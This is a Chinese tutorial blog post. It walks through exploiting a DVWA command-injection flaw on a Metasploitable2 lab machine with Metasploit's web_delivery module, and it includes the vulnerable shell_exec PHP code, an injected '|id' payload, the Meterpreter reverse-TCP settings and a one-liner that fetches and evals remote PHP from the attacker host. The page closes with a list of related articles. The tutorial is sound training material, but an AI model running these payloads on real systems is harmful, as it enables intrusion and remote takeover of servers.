Kali渗透测试之使用Metasploit对Web应用的攻击

目录
  • 实 验 环 境
  • 实 验 步 骤
    • 1. 在Kali中启动并进入msf6
    • 2. 启动web_delivery模块
    • 3. 设置木马类型、木马主控端IP地址和端口
    • 4. 执行run
    • 5. 在靶机DVWA中“Command Execution”页面中注入命令
    • 6. 在Kali中查看session

Web应用程序的漏洞数量众多,这里我们以其中一个命令注入漏洞为例复现一下。这种漏洞源于Web应用程序没有对用户输入的内容进行准确的验证,从而导致操作系统执行了攻击者输入的命令。下面是一段运行在Metasploitable2靶机上的PHP脚本,它来自于DVWA,代码如下:

<html>
  <body>
    <form name="ping" action="#" method="post">
      <input type="text" name="ip" size="30">
      <input type="submit" value="submit" name="submit">
    </form>
  </body>
</html>

首先是是一个带有输入框的页面代码,在浏览器中这段代码会被执行成一个如下图所示的页面:

当用户在 图中所示的文本框中输入一个IP地址,例如“127.0.0.1”,服务器会将这个值传递给下面的PHP脚本进行处理。

<?php
  if(isset($_POST['submit'])){
    $target = $_REQUEST['ip'];
    $cmd = shell_exec('ping -c 3 '. $target);
  }
  ?>

该脚本会将用户输入的值“127.0.0.1”保存到变量$target中。这样一来,将‘ping -c 3’与其连接起来,系统要执行的命令就变成了以下形式:

shell_exec('ping -c 3 127.0.0.1');

shell_exec()是PHP中执行系统命令的4个函数之一, 它通过shell环境执行命令,并且将完整的输出以字符串的方式返回。也就是说,PHP先运行一个shell环境,然后让shell进程运行命令,并且把所有输出以字符串形式返回,如果程序执行错误或者没有任何输出,则返回null。

这命令执行以后,PHP会调用操作系统对127.0.0.1这个IP地址执行ping操作,这里使用参数-c(指定ping操作的次数),是因为Linux在进行ping操作时不会自动停止,所以需要限制ping的次数。

正常情况,用户可以使用网站这个功能。但是这段代码编写并不安全,攻击者可以借此来执行除了ping之外的操作,而且很容易实现。攻击者接着系统命令的特性,在输入中国呢添加“|”或者“&&”管道符来执行其他命令。例如在Linux系统中,“|”是管道命令操作符。利用“|”将两个命令隔开,管道符左边命令的输出就会作为管道符右边命令的输入。如下图所示:

提交这个参数以后,系统会执行以下命令:

shell_exec('ping -c 3 127.0.0.1|id');

实际上,这里一共执行了两条命令,分别是“ping -c 127.0.0.1”和“id”,第一条命令的输出会作为第二条命令的输入,但是第一条命令的结果不会显示,只有第二条命令的结果才会显示出来。这就是命令注入漏洞,当攻击者发现目标网站存在命令注入攻击漏洞以后,可以很轻易地实现对其进行渗透。

实 验 环 境

攻击机:Linux kali 5.10.0 IP: 192.168.68.125

服务器:Metasploitable2-Linux IP:192.168.68.205

接下来结合渗透工具Metasploit来完成一次攻击的示例,渗透的目标是运行了DVWA的Metasploitable2服务器。DVWA的“Command Execution”命令执行漏洞界面,如下图所示:

Metasploit中包含一个十分方便的模块web_delivery,它包含了以下功能:

  • 生成一个木马程序
  • 启动一个发布该木马程序的服务器
  • 生成一条命令,当目标主机执行这条命令以后,就会连接服务器A,下载并执行该木马程序

实 验 步 骤

1. 在Kali中启动并进入msf6

输入如下命令:

┌──(kali?kali)-[~]
└─$ msfconsole
msf6 > 

2. 启动web_delivery模块

msf6 > use exploit/multi/script/web_delivery

这个模块中涉及的参数如下图所示:

我们需要指定目标的类型,在本例中目标是一台运行着PHP语言编写的Web应用程序的Linux服务器,所以可将类型指定为PHP。使用“show targets”命令可以看到web_delivery模块所支持的类型,如下图所示:

3. 设置木马类型、木马主控端IP地址和端口

输入如下命令:

msf6 exploit(multi/script/web_delivery) > set target 1
msf6 exploit(multi/script/web_delivery) > set payload php/meterpreter/reverse_tcp
msf6 exploit(multi/script/web_delivery) > set lhost 192.168.68.125
msf6 exploit(multi/script/web_delivery) > set lport 8888

结果如下图所示:

4. 执行run

输入run命令,模块web_delivery会启动服务器。如下图所示:

图中红框中的命令非常重要,它就是我们要在目标系统上运行的命令。

php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.68.125:8080/E7mvRltiKXUbdQ', false, stream_context_create(['ssl'=>['verify_peer'=>false,'verify_peer_name'=>false])));

5. 在靶机DVWA中“Command Execution”页面中注入命令

输入一个由&&连接的IP地址和上面的命令,如下图所示:

点击“submit”按钮,目标系统就会下载并执行木马文件,之后会建立一个Meterpreter会话,如下图所示:

6. 在Kali中查看session

会话已经建立,但是该模块不会自动进入Meterpreter会话,我们可以使用sessions命令查看已经打开的活动会话,输入如下命令:

msf6 exploit(multi/script/web_delivery) > sessions

如下图所示:

执行如下命令,进入会话中:

msf6 exploit(multi/script/web_delivery) > sessions -i 1

下图演示了整个命令注入的完整过程:

到此这篇关于Kali渗透测试:使用Metasploit对Web应用的攻击的文章就介绍到这了,更多相关Kali渗透测试内容请搜索我们以前的文章或继续浏览下面的相关文章希望大家以后多多支持我们!

(0)

相关推荐

  • kali安装docker及搭建漏洞环境的详细教程

    目录 前言: docker的简介 安装docker 1. 在kail环境下搭建docker,kali版本要在3.10以上,使用命令查看kali内核 2. 添加添加Docker官方的GPG密钥 3.,然后更新源 4. 然后导入证书 5.安装docker 6.检查安装是否成功 docker的简单使用 1. 启动docker 2. 查看镜像 3.搭建漏洞环境 前言: 言归正传,下面开始学习了.本文仅供学习参考,严禁用于一切违法行为,否则后果自负. docker的简介 Docker 是一个开源的应用容器

  • kali下对Docker的详细安装教程

    目录 0x00 前言 0x01 Docker的安装 1.Linux内核版本查看 2.更新apt源满足下载要求 3.进行系统或工具的更新 4.采用apt安装Docker 5.检验Docker成功安装 0x02 Docker的其他配置 1.配置阿里云镜像加速 2.设置Docker开机自启 0x03 Docker的简单使用 0x04 Docker的常用命令 0x05 docker --help中文译解 0x06 后记 0x07 知识链接 0x00 前言 Docker是渗透测试中必学不可的一个容器工具,

  • 一篇文章带你了解kali局域网攻击

    目录 总结 前言 很久以前的博客才发现,发布一下. 这个系列以后有时间再做. arp攻击 arp路由链表,感兴趣的自行百度,我的博客我的笔记. 路由指向 介绍两个东西. echo 0 >/proc/sys/net/ipv4/ip_forward #让经过的数据不留通 echo 1 >/proc/sys/net/ipv4/ip_forward #让数据流通 内网扫描 这个在百度上你可以看到很多相关的方式,比如nmap fping 但是基本上扫描结果不太号,在虚拟机上你会发现你把主机的防火墙关了都

  • kali 2021新手安装教程与配置图文详解

    目录 一.kali安装详细步骤 1.选择你的文件 2.选择版本 3.根据需求设置大小,默认20G也行,可以扩容 4.选第一个,图形化安装 5.选中文语言(英文也可以,后面有英文如何改中文语言) 6.选国家或地区 7.选美式键盘(不能打中文,后面有安装中文输入法教程) 8.输入主机名 9.填写域名 10.设置用户名 11.设置密码 12.选第一个就行 13.继续 14.新手选第一个,继续 15.选第二个,继续 16.是,继续 17.安装软件,(xfe和gnome桌面系统没必要选),继续 18.选第

  • Kali Linux 2022.1安装和相关配置教程(图文详解)

    目录 一.安装系统和设置中文 (一)下载安装KaliLInux2022.1 (二)启用root用户 (三)设置中文和时区 (四)更改更新源 (五)刷新软件包缓存 (六)安装中文输入法 二.永久调节分辨率(可选) (一)使用CVT获取想要分辨率的详细数值 (二)修改/.profile(或/.bash_profile) (三)立即生效 三.设置python2.python3.pip2.pip3 共存 1.删除python3.9 2.修改指向python指向python2 3.安装pip2 4.安装p

  • Kali渗透测试之使用Metasploit对Web应用的攻击

    目录 实 验 环 境 实 验 步 骤 1. 在Kali中启动并进入msf6 2. 启动web_delivery模块 3. 设置木马类型.木马主控端IP地址和端口 4. 执行run 5. 在靶机DVWA中“Command Execution”页面中注入命令 6. 在Kali中查看session Web应用程序的漏洞数量众多,这里我们以其中一个命令注入漏洞为例复现一下.这种漏洞源于Web应用程序没有对用户输入的内容进行准确的验证,从而导致操作系统执行了攻击者输入的命令.下面是一段运行在Metaspl

  • 网络安全漏洞渗透测试之文件上传绕过思路案例详解

    目录 引言 案例一 案例二 案例三 案例四 其它场景&总结 引言 分享一些文件上传绕过的思路,下文内容多包含实战图片,所以打码会非常严重,可多看文字表达:本文仅用于交流学习, 由于传播.利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任. 案例一 一次项目渗透时,通过往png后缀随便加个字符可知该上传点为白名单上传,正常情况下无法绕过 通过观察接口信息,发现接口名字为UploadImg,猜测该接口用于图片上传,按照开发的习惯,保不准会存在te

  • 网络安全渗透测试之musl堆利用技巧

    目录 前言 题目分析 调试分析 malloc_context meta chunk meta的释放 总结 前言 最近比赛出的musl题型的越来越多,不得不学习一波musl的堆利用来应对今后的比赛.这里要讲的是musl1.22版本的利用,因为网上可以找到很多审计源码的文章,所以这篇文章是通过一道题目来debug去学习堆的利用技巧,这里用到的是2021第五空间线上赛的notegame题目. 题目分析 1.首先是add函数,使用了calloc,申请的最大size是0x90 2.接着是delete函数,

  • 从web到内网渗透的一次过程详解

    目录 记一次从web到内网的渗透 拓扑图 环境介绍 渗透过程 target1 target2 taget3 记一次从web到内网的渗透 拓扑图 环境介绍 现在有三台机器,分别为target1,target2,target3,里面分别有三个flag,每个flag的分值不同,需要通过拿下一个已知IP(target1)进而向内网里面进行渗透,最终要成功获得三台主机权限 渗透过程 target1 使用nmap进行扫描 可以看到开启了80端口 浏览器访问目标靶机80端口 可以看到就是apache的默认页面

  • 利用python实现对web服务器的目录探测的方法

    一.python Python是一种解释型.面向对象.动态数据类型的高级程序设计语言. python 是一门简单易学的语言,并且功能强大也很灵活,在渗透测试中的应用广泛,让我们一起打造属于自己的渗透测试工具 二.web服务器的目录探测脚本打造 1.在渗透时如果能发现web服务器中的webshell,渗透是不是就可以变的简单一点尼 通常情况下御剑深受大家的喜爱,但是今天在测试的时候webshell不知道为什么御剑扫描不到 仔细查看是webshell有防爬功能,是检测User-Agent头,如果没有

  • 渗透测试信息收集查询真实IP过程

    查找真实IP 如果目标服务器不存在CDN可以直接通过 http://tools.jb51.net/aideddesign/ipcha 获取目标的一些IP及域名信息. 目标服务器存在CDN CDN即内容分发网络,主要解决因传输距离和不同运营商节点造成的网络速度性能低下的问题. 说简单点,就是一组在不同运营商之间的对接节点上的高速缓存服务器,把用户经常访问的静态数据资源(例如静态的html.css.js图片等文件)直接缓存到节点服务器上.当用户再次请求时,会直接分发到在理用户近的节点服务器上响应给用

  • WEB前端常见受攻击方式及解决办法总结

    一个网站建立以后,如果不注意安全方面的问题,很容易被人攻击,下面就讨论一下几种漏洞情况和防止攻击的办法. 一.SQL注入 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句.比如先前的很多影视网站泄露VIP会员密码

  • PHP安全配置详细说明

    [ 安全模式 ] PHP的安全模式提供一个基本安全的共享环境,在一个有多个用户帐户存在的PHP开放的Web服务器上.当一个Web服务器上运行的PHP打开了安全模式,那么一些函数将被完全的禁止,并且会限制一些可用的功能. [ 使用安全模式来强制限制 ] 在安全模式下,一些尝试访问文件系统的函数功能将被限制.运行Web服务器用户ID,如果想要操作某个文件,则必须拥有该文件读取或者写入的访问权限,实现这个限制功能对于PHP来说是没有问题的. 在 安全模式开启的时候,尝试读取或者写入一个本地文件的时候,

  • URLScan工具配置方法第1/2页

    如何配置 URLScan 工具 察看本文应用于的产品 文章编号 : 326444  最后修改 : 2007年3月14日  修订 : 5.3  我们强烈建议所有运行 Microsoft Windows Server 2003 的用户将 Microsoft Internet 信息服务 (IIS) 升级到 6.0 版,因为 IIS 6.0 显著增强了 Web 基础结构的安全性.有关与 IIS 安全性相关的主题的更多信息,请访问下面的 Microsoft 网站: http://www.microsoft

  • urlscan.ini中文详解注释

    安装方法:1. 解压后先双击UrlScan 2.5.EXE安装原版程序,安装完后会提示UrlScan has been successfully installed.这时点击确定即可! 2. 双击PATH.exe安装我修改的补丁,最后重启IIS生效即可! 服务器安全提示: 利用微软官方发布的UrlScan2.5可以杜绝黑客把你的服务器当木马源!我修改了一些参数目前可以正常运行在所有Windows服务器上,下载地址是http://www.jb51.net/softs/47.html Urlscan

随机推荐